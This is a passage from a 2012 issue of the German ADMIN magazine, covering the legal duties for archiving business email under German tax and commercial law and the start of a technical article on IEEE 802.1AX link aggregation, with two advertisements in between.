anerkannte Anbieter ordnen das Schlüsselpaar<br />
mit privatem und öffentlichem<br />
Schlüssel fest zu und beglaubigen dies<br />
durch ein Zertifikat. Dabei handelt es sich<br />
um ein signiertes digitales Dokument,<br />
das den öffentlichen Schlüssel sowie den<br />
Namen der jeweiligen Person enthält.<br />
Das Zertifikat ist im Internet abrufbar.<br />
Mit der qualifizierten elektronischen<br />
Signatur kann jedermann einfach und<br />
schnell rechtsverbindlich und beweisbar<br />
Verträge schließen, die auch im Gerichtssaal<br />
einen hohen Wert haben. Vielleicht<br />
tragen DE-Mail oder der elektronische<br />
Personalausweis dazu bei, die Akzeptanz<br />
der elektronischen Signatur zu erhöhen.<br />
Dies wird aber vermutlich nur gelingen,<br />
wenn man die qualifizierte elektronische<br />
Signatur für weniger als etwa 60 Euro/<br />
Jahr nutzen kann.<br />
Wer die qualifizierte elektronische Signatur<br />
nicht nutzen will oder kann, der<br />
sollte wichtige Verträge zusätzlich per<br />
Fax versenden oder sich beim nächsten<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
19
Login<br />
Mail-Archivierung<br />
persönlichen Geschäftstreffen den E-<br />
Mail-Verkehr, etwa die Mail mit der Auftragsbestätigung<br />
<strong>gegen</strong>zeichnen lassen.<br />
Wie lange ist zu<br />
archivieren?<br />
Für einige Inhalte gilt eine zehnjährige<br />
Archivierungspflicht, wie für Inventare,<br />
Jahresabschlüsse, Buchungsbelege oder<br />
Rechnungen. Die empfangenen und versandten<br />
Handels- oder Geschäftsbriefe<br />
sind sechs Jahre aufzubewahren, ebenso<br />
wie die sonstigen Unterlagen, die für die<br />
Besteuerung von Bedeutung sein können.<br />
Die Fristen beginnen jeweils mit<br />
dem Ende des Kalenderjahres, in dem das<br />
Dokument zustande kam. Am leichtesten<br />
ist es, alle Daten einheitlich zehn Jahre<br />
zu archivieren. Darüber hinaus sind bei<br />
Vertragsabschlüssen oder Schadensersatzforderungen<br />
die gesetzlichen Verjährungsfristen<br />
zu beachten, die je nach<br />
Vertragstyp und Anspruchsgrundlage<br />
unterschiedlich lang sind, etwa die zweioder<br />
fünfjährige Gewährleistungsfrist<br />
bei Kauf- oder Werkverträgen oder die<br />
regelmäßige dreijährige Verjährungsfrist.<br />
Zum Teil beträgt die Verjährungsfrist bis<br />
zu 30 Jahre.<br />
Die Praxis<br />
Abbildung 2: Für das Archivieren von Rechnungen gelten noch einmal besondere Vorschriften.<br />
Trotz dieser klaren Verpflichtungen im<br />
HGB, in der Abgabenordnung und dem<br />
Umsatzsteuergesetz und dem hohen eigenen<br />
Interesse an einer Archivierung<br />
löschen viele unbedacht alte E-Mails,<br />
wenn das Speichervolumen des Postfaches<br />
ausgeschöpft ist oder legen sie gar<br />
nicht erst ab. Auch fehlen für die Ablage<br />
oft Vorgaben. Zudem werden komplette<br />
E-Mail-Accounts von ausgeschiedenen<br />
Mitarbeitern oft nicht archiviert oder sie<br />
sind mangels Passwörtern nicht zugänglich.<br />
Für ausgeschiedene Mitarbeiter<br />
sollten die Passwörter vorhanden sein,<br />
um weiterhin Zugang zu den E-Mails<br />
zu haben.<br />
Für den Einblick in E-Mails im Unternehmen<br />
und die Archivierung ist es<br />
sehr erheblich, ob private E-Mails im<br />
Unternehmen erlaubt sind oder nicht.<br />
Sind sie erlaubt und mischen sich mit<br />
geschäftlicher Korrespondenz kann dies<br />
dazu führen, dass der Chef nur noch<br />
eingeschränkt Einblick in die geschäftlichen<br />
E-Mail-Konten der Mitarbeiter hat,<br />
da er aufgrund der privaten Korrespondenz<br />
strengeren Datenschutzvorschriften<br />
unterliegt. Er ist dann nicht berechtigt,<br />
den kompletten E-Mail-Verkehr zu<br />
archivieren. Mitarbeiter sollten daher<br />
deutlich Privates und Geschäftliches<br />
trennen und klare Handlungsanweisungen<br />
vom Geschäftsführer erhalten. Mitarbeiter<br />
sollten für private Mails besser<br />
Webmail oder einen privaten Account<br />
im Unternehmen nutzen, der nicht archiviert<br />
wird. Die Augen vor dem Problem<br />
zu verschließen, und die private<br />
Nutzung ohne weitere Regelungen zu<br />
dulden, ist eine für den Arbeitgeber sehr<br />
nachteilige Lösung.<br />
Ausdrucken reicht nicht<br />
Neben den Vorgaben zur Archivierungspflicht,<br />
die für Unterlagen auf Papier und<br />
im E-Mail-Postfach gleichermaßen gelten,<br />
gibt es in der Abgabenordnung (§ 147<br />
Absatz 2 und 5) und in § 14 und § 14 b<br />
Umsatzsteuergesetz sowie im HGB zusätzliche<br />
Anforderungen an elektronische<br />
Rechnungen und an die Art und Weise<br />
der Aufbewahrung digitaler Dateien. Zur<br />
Form der Archivierung besagt § 147 Absatz<br />
2 AO:<br />
„Die erwähnten Unterlagen können auch<br />
als Wiedergabe auf einem Bildträger oder<br />
auf anderen Datenträgern aufbewahrt<br />
werden, wenn dies den Grundsätzen ordnungsgemäßer<br />
Buchführung entspricht<br />
und sichergestellt ist, dass die Wiedergabe<br />
oder die Daten<br />
1. mit den empfangenen Handels- oder<br />
Geschäftsbriefen und den Buchungsbelegen<br />
bildlich und mit den anderen Unterlagen<br />
inhaltlich übereinstimmen, wenn<br />
sie lesbar gemacht werden,<br />
2. während der Dauer der Aufbewahrungsfrist<br />
jederzeit verfügbar sind, unverzüglich<br />
lesbar gemacht und maschinell<br />
ausgewertet werden können.“<br />
§ 147 Absatz 5 der AO:<br />
“Wer aufzubewahrende Unterlagen in der<br />
Form der Wiedergabe auf einem Bildträger<br />
oder auf anderen Datenträgern<br />
vorlegt, ist verpflichtet, auf seine Kosten<br />
diejenigen Hilfsmittel zur Verfügung zu<br />
stellen, die erforderlich sind, um die Unterlagen<br />
lesbar zu machen; auf Verlangen<br />
der Finanzbehörde hat er die Unterlagen<br />
unverzüglich ganz oder teilweise auszudrucken<br />
oder ohne Hilfsmittel lesbare<br />
Reproduktionen beizubringen.“<br />
Das HGB enthält in den §§ 238, 239<br />
und § 257 ähnliche Formulierungen und<br />
weist auf die Grundsätze ordnungsmäßiger<br />
Buchführung hin. Die Buchführung<br />
muss so beschaffen sein, dass sie einem<br />
Dritten innerhalb kurzer Zeit einen Überblick<br />
über die Geschäftsvorfälle und über<br />
die Lage des Unternehmens vermitteln<br />
kann. Die Geschäftsvorfälle müssen sich<br />
in ihrer Entstehung und Abwicklung verfolgen<br />
lassen. Diese Grundsätze gelten<br />
auch in der digitalen Welt. Darüber hinaus<br />
sind die oben genannten Archivierungspflichten<br />
und die eben erwähnten<br />
Vorgaben aus dem Handelsgesetzbuch,<br />
der Abgabenordnung und dem Umsatzsteuergesetz<br />
konkretisiert in zwei Ver-<br />
© Bernad, Fotolia<br />
20 Ausgabe 04-2012 Admin www.admin-magazin.de
Mail-Archivierung<br />
Login<br />
waltungsanweisungen aus dem Bundesfinanzministerium,<br />
in den „Grundsätzen<br />
zum Datenzugriff und zur Prüfbarkeit<br />
digitaler Unterlagen“ (GDPdU) und den<br />
„Grundsätzen ordnungsmäßiger DV-gestützter<br />
Buchführungssysteme“ (GoBS)<br />
sowie in den „Fragen und Antworten zum<br />
Datenzugriffsrecht der Finanzverwaltung“<br />
vom 22.01.2009 des BMF. Die GDPdU regeln,<br />
wie der Zugriff der Finanzbeamten<br />
bei einer Außenprüfung auf archivierte<br />
Daten des Steuerpflichtigen erfolgt. Die<br />
GoBS konkretisieren den technischen<br />
und organisatorischen Rahmen bei der<br />
elektronischen Archivierung.<br />
Wie archivieren?<br />
Sofern die Unterlagen mithilfe eines Datenverarbeitungssystems<br />
erstellt worden<br />
sind, verlangt der Steuerprüfer maschinell<br />
auswertbare Daten. Ausdrucken<br />
reicht nicht. Wer digital arbeitet, muss<br />
digital archivieren. In den „Fragen und<br />
Antworten zum Datenzugriffsrecht der<br />
Finanzverwaltung“ vom 22.01.2009<br />
des BMF heißt es: Unter ’maschineller<br />
Auswertbarkeit’ versteht die Finanzverwaltung<br />
den „wahlfreien Zugriff auf<br />
alle gespeicherten Daten einschließlich<br />
der Stammdaten und Verknüpfungen<br />
mit Sortier- und Filterfunktionen unter<br />
Berücksichtigung des Grundsatzes der<br />
Verhältnismäßigkeit. Mangels wahlfreier<br />
Zugriffsmöglichkeit akzeptiert die<br />
Finanzverwaltung daher keine Reports<br />
oder Druckdateien, die vom Unternehmen<br />
ausgewählte (’vorgefilterte’) Datenfelder<br />
und ‐sätze aufführen, jedoch nicht<br />
mehr alle steuerlich relevanten Daten<br />
enthalten. Gleiches gilt für archivierte<br />
Daten, bei denen z.B. während des Archivierungsvorgangs<br />
eine ’Verdichtung’<br />
unter Verlust vorgeblich steuerlich nicht<br />
relevanter, originär aber vorhanden gewesener<br />
Daten stattgefunden hat.“<br />
Ursprünglich in Papierform angefallene<br />
Eingangsrechnungen oder Belege müssen<br />
allerdings nicht extra digitalisiert werden.<br />
Macht man sich aber freiwillig diese<br />
Mühe, dann muss das auch ordnungsgemäß<br />
passieren. Dies sollte man berücksichtigen,<br />
bevor man sich entscheidet,<br />
ein Dokumenten-Management-System<br />
einzuführen.<br />
Freiwillig archiviert<br />
E-Mails mit nicht steuerlich relevanten<br />
Inhalten müssen weder archiviert noch<br />
für den Datenzugriff vorgehalten werden.<br />
Vor dem Finanzgericht Rheinland-<br />
Pfalz, 20.01.2005 AZ 4 K2167/04 ging<br />
es um den Umfang der Vorlagepflicht<br />
bei einer Außenprüfung. Das Gericht:<br />
Es sei Aufgabe des Steuerpflichtigen,<br />
seine Daten so zu organisieren, dass bei<br />
einer Steuerprüfung keine geschützten<br />
Bereiche tangiert werden, die etwa vom<br />
Datenschutz umfasst sind. Der Umfang<br />
der Vorlagepflicht richte sich nach den<br />
Aufforderungen des Prüfers, solange es<br />
sich um steuerrelevante Daten handelt.<br />
Die Buchführung sei in ihrer Gesamtheit<br />
vorzulegen und nicht nur die Daten, die<br />
der Steuerpflichtige bereit sei, vorzulegen.<br />
Der Steuerpflichtige sei verpflichtet,<br />
den Datenzugriff auf freiwillig geführte<br />
Aufzeichnungen zuzulassen, sofern er<br />
Aufzeichnungen in digitaler Form führt.<br />
Für versehentlich überlassene Daten bestehe<br />
kein Verwertungsverbot.<br />
Die richtige Lösung finden<br />
Bei der Auswahl eines Anbieters für ein<br />
Archivierungssystem sollte man unterscheiden<br />
zwischen der revisionssicheren<br />
und der rechtssicheren Archivierung:<br />
Die revisionssichere Aufbewahrung bedeutet<br />
eine ordnungsgemäße, vollständige,<br />
unveränderte, nachvollziehbare<br />
und über einen Index wiederauffindbare<br />
Archivierung von kaufmännischen und<br />
steuerrechtlich relevanten Daten und<br />
Belegen. Dazu gehört eine Verfahrens-<br />
Revisionssicherheit ist praktisch unmöglich<br />
<strong>ADMIN</strong> befragte den externen Datenschutzbeauftragten<br />
und IT-Sicherheitsexperten Marco<br />
Tessendorf, Geschäftsführer der procado Consulting,<br />
IT- & Medienservice GmbH in Berlin.<br />
<strong>ADMIN</strong>: Ist eine ordnungsgemäße E-Mail-Archivierung<br />
überhaupt technisch umsetzbar und<br />
bezahlbar für ein Unternehmen, sagen wir mit<br />
einem bis zehn Mitarbeitern?<br />
Marco Tessendorf: Es ist praktisch nicht möglich<br />
oder nur mit einem großem Aufwand machbar,<br />
eine weitestgehende Revisonssicherheit zu erreichen.<br />
Problematisch ist bei Systemen, die mit<br />
digitalen Signaturen zur Sicherstellung der Revisonssicherheit<br />
arbeiten, das Verfallsdatum der<br />
Signaturen. Die Gültigkeit der Signaturen läuft<br />
nach einer gewissen Zeit ab, und sie müssen<br />
erneuert werden. Damit wird jedoch der Prozess<br />
durchbrochen. Auch eingesetzte Speichermedien<br />
können vor Ablauf der Archivierungsdauer<br />
beschädigt werden oder nicht mehr kompatibel<br />
zu neuen Systemen sein. Daher sollte man<br />
bereits bei der Planung berücksichtigen, dass<br />
die eingesetzten Archivsysteme und ‐medien im<br />
Laufe der Zeit technologisch und physikalisch<br />
veralten werden. Die Möglichkeit eine korrekte<br />
Datenübernahme ohne eine inhaltliche Veränderung<br />
durchzuführen, ist also ein entscheidender<br />
Punkt im Archivsystem. Menschliche Schwachstellen<br />
sind ebenfalls eine Hürde, etwa wenn<br />
das Original bereits vernichtet wurde und die<br />
Rückseite beim Scannen vergessen worden oder<br />
der Scan unleserlich ist. Eine professionelle E-<br />
Mail-Archivierung hat neben der rechtskonformen<br />
Archivierung aber weitere Vorteile für den<br />
Anwender: Sie entlastet das lokale Mailsystem,<br />
der E-Mail-<strong>Server</strong> läuft mit höherer Geschwindigkeit<br />
aufgrund archivierter Daten. Jeder kann,<br />
je nach den Vorgaben des Systems, die archivierten<br />
E-Mails aus dem Archiv abrufen.<br />
<strong>ADMIN</strong>: Kann ich mir selbst ein Archivierungssystem<br />
programmieren oder müssen es teure<br />
Archivierungslizenzen sein oder reicht nicht<br />
auch eine Datensicherung? Worauf muss ich<br />
achten? Was kostet eine Archivierung für ein<br />
kleines Unternehmen mit fünf Mitarbeitern?<br />
Marco Tessendorf: Es gibt eine Reihe von E-<br />
Mail-Archivsystemen, die auch für kleine Unternehmen<br />
bezahlbar sind, die Kosten belaufen<br />
auf etwa 30,- bis 40,- Euro pro archiviertem<br />
Postfach zuzüglich laufender Servicegebühren.<br />
Es ist allerdings zu empfehlen, elektronische Archive<br />
<strong>gegen</strong>über Systemen zur Datensicherung<br />
abzugrenzen. Die Zweckbestimmungen zwischen<br />
Archiv und Datensicherung unterscheiden sich.<br />
Eine Datensicherung erstellt man regelmäßig zu<br />
dem Zweck, die gesicherten Daten schnell wieder<br />
herstellen zu können, um einen ordnungsgemäßen<br />
Betrieb sicherzustellen, und man sichert<br />
in der Regel nur für einen begrenzten Zeitraum<br />
– in der Regel bis zu 12 Monate. Die Kopien<br />
der gesicherten Daten werden bei der Datensicherung<br />
regelmäßig außerhalb des Systems<br />
gelagert. Betroffen sind hier nicht nur E-Mails<br />
und Dokumente, sondern auch andere betriebsoder<br />
funktionsrelevante Daten. Elektronische<br />
Archive hin<strong>gegen</strong> sind in den laufenden Systembetrieb<br />
eingebunden. Die betroffenen Daten<br />
werden kontinuierlich archiviert und können aus<br />
dem elektronischen Archiv jederzeit abgerufen<br />
werden. Die Zweckbestimmung ist hier, die Entlastung<br />
der technischen Infrastruktur und die<br />
revisionssichere Verwaltung der Daten über den<br />
erforderlichen Aufbewahrungszeitraum.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
21
Login<br />
Mail-Archivierung<br />
dokumentation. Das Gesetz gibt keine<br />
klaren Hinweise auf erlaubte Signaturverfahren<br />
oder Technologien. Der Gesetzgeber<br />
schreibt bewusst keine bestimmten<br />
Speichermedien oder Technologien vor.<br />
Anhaltspunkte zur Datensicherheit (etwa<br />
Schutz vor unberechtigter Veränderung,<br />
Verlust, Vernichtung der Datenträger)<br />
enthalten die Grundsätze ordnungsgemäßer<br />
DV-gestützter Buchführungssysteme<br />
(GoBS).<br />
Ein revisionssicheres System auf dem<br />
Markt mit einem privaten Siegel „revisionssicher“<br />
bedeutet nicht unbedingt<br />
„rechtssicher“. Maßgeblich ist letztendlich,<br />
ob alle erforderlichen Daten archiviert<br />
werden, und ob die Signaturen korrekt<br />
sind und auch im Falle der Migration<br />
noch alle Anforderungen erfüllt sind. Dies<br />
hängt nicht zuletzt von demjenigen ab,<br />
der archiviert. Die Daten müssen nicht im<br />
ursprünglichen System gespeichert sein,<br />
sie können ausgelagert werden, sollten<br />
aber möglichst im Inland bleiben. Für<br />
Daten im Ausland gelten Sonderregeln.<br />
Offizielle Zertifikate<br />
gibt es nicht<br />
Es gibt aktuell keine Möglichkeit, ein vorhandenes<br />
oder geplantes System von der<br />
Finanzverwaltung als „GDPdU-konform“<br />
zertifizieren zu lassen. Das BMF weist<br />
darauf hin, dass insbesondere die Vielzahl<br />
und unterschiedliche Ausgestaltung<br />
und Kombination selbst marktgängiger<br />
Buchhaltungs- und Archivierungssysteme<br />
keine allgemein gültigen Aussagen<br />
der Finanzverwaltung zur Konformität<br />
der verwendeten oder geplanten Hardund<br />
Software zulassen. Zertifikate Dritter<br />
entfalten <strong>gegen</strong>über der Finanzverwaltung<br />
keine Bindungswirkung. Im Übrigen<br />
hängt die Ordnungsmäßigkeit eines eingesetzten<br />
Verfahrens letztlich von mehreren<br />
Kriterien ab (zum Beispiel auch von<br />
der Richtigkeit und Vollständigkeit der<br />
eingegebenen Daten).<br />
Aber aus den Fragen und Antworten zum<br />
Datenzugriffsrecht der Finanzverwaltung“<br />
vom 22.01.2009 des BMF ergeben<br />
sich die folgenden Anhaltspunkte: „Die<br />
Finanzverwaltung hat mit Herstellern von<br />
Entgeltabrechnungs-, Finanzbuchhaltungs-<br />
und Archivierungssystemen sowie<br />
dem deutschen Vertrieb der Prüfsoftware<br />
„IDEA“ (Fa. Audicon, Düsseldorf) eine<br />
einheitliche technische Bereitstellungshilfe<br />
zur Format- und Inhaltsbeschreibung<br />
der steuerlich relevanten Daten<br />
entwickelt. Ziel ist die automatisierte<br />
Weitergabe aller zur Auswertung vom<br />
Prüfer benötigten Informationen über<br />
den Datenbestand, ohne die geprüften<br />
Unternehmen personell und finanziell<br />
– beispielsweise durch Beauftragung externer<br />
Softwarespezialisten – über das<br />
unbedingt erforderliche Maß hinaus<br />
in Anspruch nehmen zu müssen. Der<br />
„Beschreibungsstandard für die Datenträgerüberlassung“<br />
definiert die Datenimport-Schnittstelle<br />
zur automatisierten<br />
Übernahme steuerlich relevanter Daten<br />
einschließlich der zur maschinellen Auswertung<br />
erforderlichen Verknüpfungen.<br />
Dieser Schnittstelle können und sollen<br />
sich die Softwarehersteller bedienen, um<br />
ihren Kunden die Möglichkeit zur problemlosen<br />
Datenübergabe bei angeforderter<br />
Datenträgerüberlassung im Rahmen<br />
einer Außenprüfung zu bieten.“<br />
Die Finanzverwaltung legt sich also technisch<br />
nicht konkret fest. Der Anwender<br />
muss allein entscheiden, wie er die gesetzlich<br />
geforderte Archivierung technisch<br />
konkret umsetzt. Dies hat aber<br />
auch Vorteile für den Anwender. Sein<br />
Spielraum bei der Umsetzung ist größer.<br />
Beim Verband Organisations- und Informationssysteme<br />
(VOI) findet man Informationen<br />
zu rechtlichen, technischen<br />
und kaufmännischen Fragen rund um<br />
die Mail-Archivierung [1]:<br />
Sanktionen<br />
Nachteil des großen Spielraums des Anwenders<br />
ist, dass bei ungenügender Umsetzung<br />
Sanktionen drohen. Die Finanzverwaltung<br />
reagiert auf einen Verstoß<br />
in unterschiedlicher Weise. Je nach den<br />
Umständen im Einzelfall drohen Bußgeld,<br />
Zwangsmittel, Verzögerungsgeld<br />
oder Steuerschätzung.<br />
Die Abgabenordnung sieht in § 146 Absatz<br />
2 b vor: Kommt der Steuerpflichtige<br />
der Vorlage von Unterlagen oder<br />
Erteilung von Auskünften im Rahmen<br />
der Außenprüfung nicht nach, so kann<br />
ein Verzögerungsentgelt von 2500 bis<br />
250000 Euro festgesetzt werden. Das<br />
Strafgesetzbuch sanktioniert in § 283 b<br />
sogar die Verletzung von Buchführungspflichten<br />
im Falle von fahrlässigem Handeln<br />
mit einer Freiheitsstrafe von bis zu<br />
einem Jahr oder einer Geldstrafe. Verantwortlich<br />
für die korrekte Umsetzung<br />
im Unternehmen ist der Steuerpflichtige<br />
beziehungsweise der Verantwortliche der<br />
Gesellschaft – auch wenn die Aufgabe<br />
an einen externen Dienstleiter delegiert<br />
wurde. Die Geschäftsführung hat darüber<br />
zu entscheiden, welche technischen<br />
und organisatorischen Maßnahmen nötig<br />
sind. Wird die Aufgabe etwa an einen angestellten<br />
Administrator delegiert, kann<br />
dieser unter Umständen haften, wenn<br />
man ihm grobe Fahrlässigkeit nachweisen<br />
kann. Er sollte die Geschäftsführung<br />
um Leitlinien zur rechtssicheren Archivierung<br />
bitten.<br />
Kommt die Geschäftsführung der IT-<br />
Sicherheitspflicht beziehungsweise den<br />
Verpflichtungen zur Archivierung nicht<br />
nach und entsteht der Gesellschaft dadurch<br />
ein Schaden, kann im Einzelfall<br />
sogar der Verantwortliche persönlich haften.<br />
Es drohen monetäre Konsequenzen<br />
– weshalb es sich lohnt, sich mit dem<br />
Thema zu befassen oder die Geschäftsführung<br />
dafür zu sensibilisieren. Bei aller<br />
Bürokratie hat die Archivierungspflicht<br />
auch Vorteile, denn sie gewährleistet im<br />
Falle eines Datenverlustes, dass Daten<br />
schnell wiederhergestellt werden. Oft<br />
ergibt ein Archiv auch einen schnellen<br />
Zugriff und gute Suchmöglichkeiten für<br />
die Mitarbeiter. (jcb)<br />
n<br />
Infos<br />
[1] Hinweise zur Archivierung: [http:// www.<br />
voi. de/ publikationen/ leitfaeden]<br />
Die Autorin<br />
Die Autorin ist Rechtsanwältin & Fachjournalistin<br />
für IT-Recht in Berlin. Sie veröffentlicht seit 1997<br />
in zahlreichen Medien zu Fragen des IT-Rechtes.<br />
Darüber hinaus referiert sie regelmäßig zu aktuellen<br />
Fragen des Internetrechtes, gibt Workshops<br />
zum Softwarelizenzrecht oder zur IT-Sicherheit<br />
und unterrichtet als Lehrbeauftragte für IT-Recht<br />
an der Beuth Hochschule für Technik, Berlin. Ihre<br />
Beratungsschwerpunkte sind das Softwarelizenzund<br />
das Internetrecht, der Check von Webshops<br />
und Webseiten, das Urheber-,<br />
Vertrags- und Markenrecht<br />
sowie das Online-Marketing<br />
und Datenschutzfragen als<br />
auch internationales Privatund<br />
Europarecht.<br />
22 Ausgabe 04-2012 Admin www.admin-magazin.de
Born to<br />
be ROOT!<br />
keine Mindestvertragslaufzeit<br />
keine Einrichtungsgebühr<br />
Root <strong>Server</strong> r Linux<br />
Level<br />
el 1. Der effiziente<br />
ente Sprinter!<br />
SICHERHEIT UND EFFIZIENZ<br />
CPU<br />
Leistung<br />
RAM<br />
HD<br />
Traffic<br />
,00<br />
€/Mon.*<br />
Intel Sandy Bridge G530<br />
2 x 2,4 GHz<br />
4 GB<br />
1000 GB<br />
Unlimited*<br />
r<br />
ie<br />
NaturEnergie<br />
NaturEnerg<br />
Sie gehen keine e Kompromisse omisse<br />
in Sachen Datensicher-<br />
heit ein? Wir<br />
auch nicht! Unsere e Rechenzentren en<br />
entren sind<br />
streng nach<br />
ISO 27001 01<br />
TÜV-zertifiziert. t. Gleichzeitig<br />
eitig<br />
denken n wir<br />
an<br />
die Umwelt und nutzen regenerative<br />
enerativ<br />
Energien.<br />
n.<br />
Der<br />
Root ot<br />
<strong>Server</strong> Linux Level el<br />
1 von STRATO holt das Optimum an<br />
Leistung und Energieeffizienz eeffizienz heraus, was aktuelle e <strong>Server</strong>-Hard-<br />
ware<br />
hergibt. Was<br />
wir<br />
an<br />
Energie e sparen<br />
geben wir<br />
durch<br />
den<br />
günstigen n Preis gerne an Sie weiter. Profitieren Sie<br />
davon!<br />
* Traffic-Unlimited: Keine zusätzlichen Kosten durch Traffic (bei Traffic-Verbrauch über 1.000 GB/ Monat<br />
und danach je weitere 300 GB erfolgt eine Umstellung der Anbindung auf max. 10 MBit/s. Erneute Freischaltung<br />
der vollen Bandbreit jeweils kostenlos über den Kundenservicebereich). Alle Preise inkl. MwSt.<br />
Info: 0 18 05 - 00 76 77 | strato-pro.de<br />
(0,14€/Min. aus dem dt. Festnetz, Mobilfunk max. 0,42€/Min.)
Netzwerk<br />
Link Aggregation<br />
© zentilia, 123RF<br />
Link Aggregation steigert Sicherheit und erhöht Durchsatz<br />
Dicke Leitung<br />
Einmal sind sich Admin und Anwender einig: Sie wünschen sich fürs Netzwerk hohe Ausfallsicherheit und große<br />
Bandbreite. Link Aggregation nach IEEE 802.1AX-2008 bietet beides – mit kleinen Einschränkungen. Werner Fischer<br />
Link Aggregation bedeutet Verbindungszusammenschluss,<br />
und genau darum<br />
geht es. Es werden damit mehrere Verbindungen<br />
zwischen zwei Komponenten<br />
(Switches, <strong>Server</strong>n, Storagesysteme, …)<br />
zusammengeschaltet und logisch als eine<br />
einzelne Verbindung betrachtet (Abbildung<br />
1). In der Regel kombiniert man<br />
so zwei bis vier einzelne Verbindungen,<br />
die dann nicht mehr als einzelne Links,<br />
sondern als eine Link Aggregation Group<br />
(LAG) betrachtet werden. Die meisten<br />
Managed Switches unterstützen Link<br />
Aggregation, Gewissheit verschafft ein<br />
Blick ins Datenblatt. Das Gleiche gilt für<br />
IP-basierte iSCSI- und NFS/CIFS-Storagesyteme.<br />
<strong>Server</strong> müssen für Link Aggregation<br />
hardwareseitig zumindest mit zwei<br />
Netzwerkkarten ausgestattet werden<br />
und softwareseitig Unterstützung vom<br />
Betriebssystem oder vom Netzwerkkartentreiber<br />
mitbringen.<br />
Voraussetzungen<br />
Bevor mehrere Links zu einer LAG zusammengeführt<br />
werden, müssen einige<br />
Voraussetzungen erfüllt sein. Alle Links<br />
müssen<br />
n sich im Full-Duplex-Mode befinden,<br />
n die gleiche Datenrate (zumeist 1 GBit/<br />
s) besitzen,<br />
n parallele Punkt-zu-Punkt Verbindungen<br />
sein,<br />
n an einer Endstelle immer genau an<br />
einem Switch oder <strong>Server</strong> enden. Link<br />
Aggregation mit mehreren Switches<br />
an einem Ende der Link Aggregation<br />
wie etwa bei Split Multi-Link Trunking<br />
(SMLT) von Nortel ist mit Link<br />
Aggregation nicht möglich. Einzige<br />
Ausnahme sind virtuelle Switches, die<br />
zwar aus mehreren physischen Switches<br />
bestehen, sich nach außen aber<br />
wie ein einzelner Switch verhalten,<br />
wie das Cisco Virtual Switching System<br />
1440 oder Juniper Virtual Chassis<br />
der 3000er/4000er-Reihe.<br />
Ausfallsicherheit<br />
Im Netzwerk-Stack ist der Link Aggregation<br />
Sublayer innerhalb des Data Link<br />
Layers (Sicherungsschicht) angesiedelt,<br />
konkret zwischen dem MAC Client und<br />
MAC Sublayern (Abbildung 2). Fällt nun<br />
eine von beispielsweise vier Verbindungen<br />
einer LAG aus, verteilt der Distributor<br />
der Link Aggregation den Datenverkehr<br />
der betroffenen Verbindung automatisch<br />
24 Ausgabe 04-2012 Admin www.admin-magazin.de
Link Aggregation<br />
Netzwerk<br />
MAC-basierte Lastverteilung<br />
In diesem Beispiel mit vier aktiven Links einer<br />
LAG werden Daten von der folgenden Quellzur<br />
Ziel-MAC-Adresse übertragen: Quell-MAC-<br />
Adresse: 0x0000A4F8B321 – das letzte Byte<br />
ist 0x21 (= Binär 00100001) – die letzten<br />
drei Bits sind also 001 Ziel-MAC-Adresse:<br />
0x0000A2123456 – das letzte Byte ist 0x56<br />
(= Binär 01010110) – die letzten drei Bits sind<br />
also 110. Die Formel zur Auswahl des Links<br />
lautet:<br />
{(001 XOR 110) MOD 4}<br />
001 XOR 110 = 111 (binär) = 7 (dezimal)<br />
7 MOD 4 (dezimal) = 3 (dezimal)<br />
Abbildung 1: Mehrere Links werden jeweils zu einer Link Aggregation Group (LAG) zusammengefasst.<br />
Es wird also der Link Nummer 3 verwendet.<br />
auf eine andere Verbindung um. Solange<br />
zumindest eine physische Verbindung<br />
vorhanden ist, bleibt die LAG-Verbindung<br />
aufrecht.<br />
Erhöhte Bandbreite<br />
Da 10-GBit-Netzwerkkomponenten noch<br />
relativ teuer sind, erscheint die Bündelung<br />
von mehreren 1-GBit-Verbindungen<br />
zu einer LAG als kostengünstige Alternative,<br />
wenn eine hohe Bandbreite gefragt<br />
ist. Allerdings bedeuten zwei 1-GBit-<br />
Links für eine LAG nicht automatisch,<br />
dass damit eine Übertragungskapazität<br />
von 2 GBit/s für den Datenaustausch<br />
zwischen zwei Rechnern bereitsteht.<br />
Ein einzelnes Ethernet-Frame wird trotz<br />
Link Aggregation immer nur über einen<br />
einzelnen Link übertragen. Laut dem<br />
IEEE-802.1AX-2008-Standard [1] darf die<br />
Reihenfolge der Frames einer Konversation<br />
zwischen zwei Endgeräten nicht<br />
verändert werden. Das ist leicht sicher-<br />
zustellen, wenn sämtliche Frames einer<br />
solchen Konversation ausschließlich über<br />
denselben einzelnen Link versendet werden.<br />
Sind zwei <strong>Server</strong> mit einer LAG aus<br />
zwei 1-GBit-Verbindungen direkt verbunden,<br />
wird das Kopieren einer Datei von<br />
einem zum anderen <strong>Server</strong> aber trotzdem<br />
nur mit 1GBit/s stattfinden.<br />
Abbildung 2: Link Aggregation im OSI-Schichtenmodell.<br />
Mehrere parallele Konversationen können<br />
aber auf die einzelnen Links einer LAG<br />
verteilt werden, hier profitiert man von<br />
einer größeren möglichen Summenbandbreite.<br />
Diese Methode ermöglicht eine<br />
einfache Implementierung in Switches<br />
und <strong>Server</strong>n. Es sind keine zusätzlichen<br />
Puffer erforderlich, damit kommt es auch<br />
DEUTSCHE PYTHON KONFERENZ<br />
EINE PROGRAMMIERSPRACHE VERÄNDERT DIE WELT<br />
Sechs Tage Python mit Vorträgen, Tutorials und Sprints – http://pycon.de<br />
PyCon DE<br />
29.10. – 3.11.12<br />
Leipzig<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
25
Netzwerk<br />
Link Aggregation<br />
Abbildung 3: Konfiguration einer dynamischen<br />
(LACP) Link Aggregation Group beim Switch eines<br />
Intel Modular <strong>Server</strong>s.<br />
zu keinen erhöhten Latenzen durch Link<br />
Aggregation.<br />
Lastverteilung<br />
Wie wählt nun ein Switch oder ein <strong>Server</strong><br />
einen konkreten Link zur Datenübertragung<br />
einer Konversation aus?<br />
Der Standard teilt diese Aufgabe einem<br />
sogenannten Frame Distributor (Frame-<br />
Verteiler) zu. Wie der Frame Distributor<br />
die Verteilung genau vornimmt, ist nicht<br />
vorgeschrieben. Einzige Vorgabe bleibt<br />
die Limitierung einer Konversation auf<br />
einen einzelnen Link.<br />
Die meisten Switches und Betriebssysteme<br />
verwenden für die Wahl des Links<br />
die MAC-Adressen von Sender und Empfänger<br />
beziehungsweise deren drei oder<br />
sechs untersten Bits (least significant<br />
bits). Ein Beispiel einer solchen Auswahl<br />
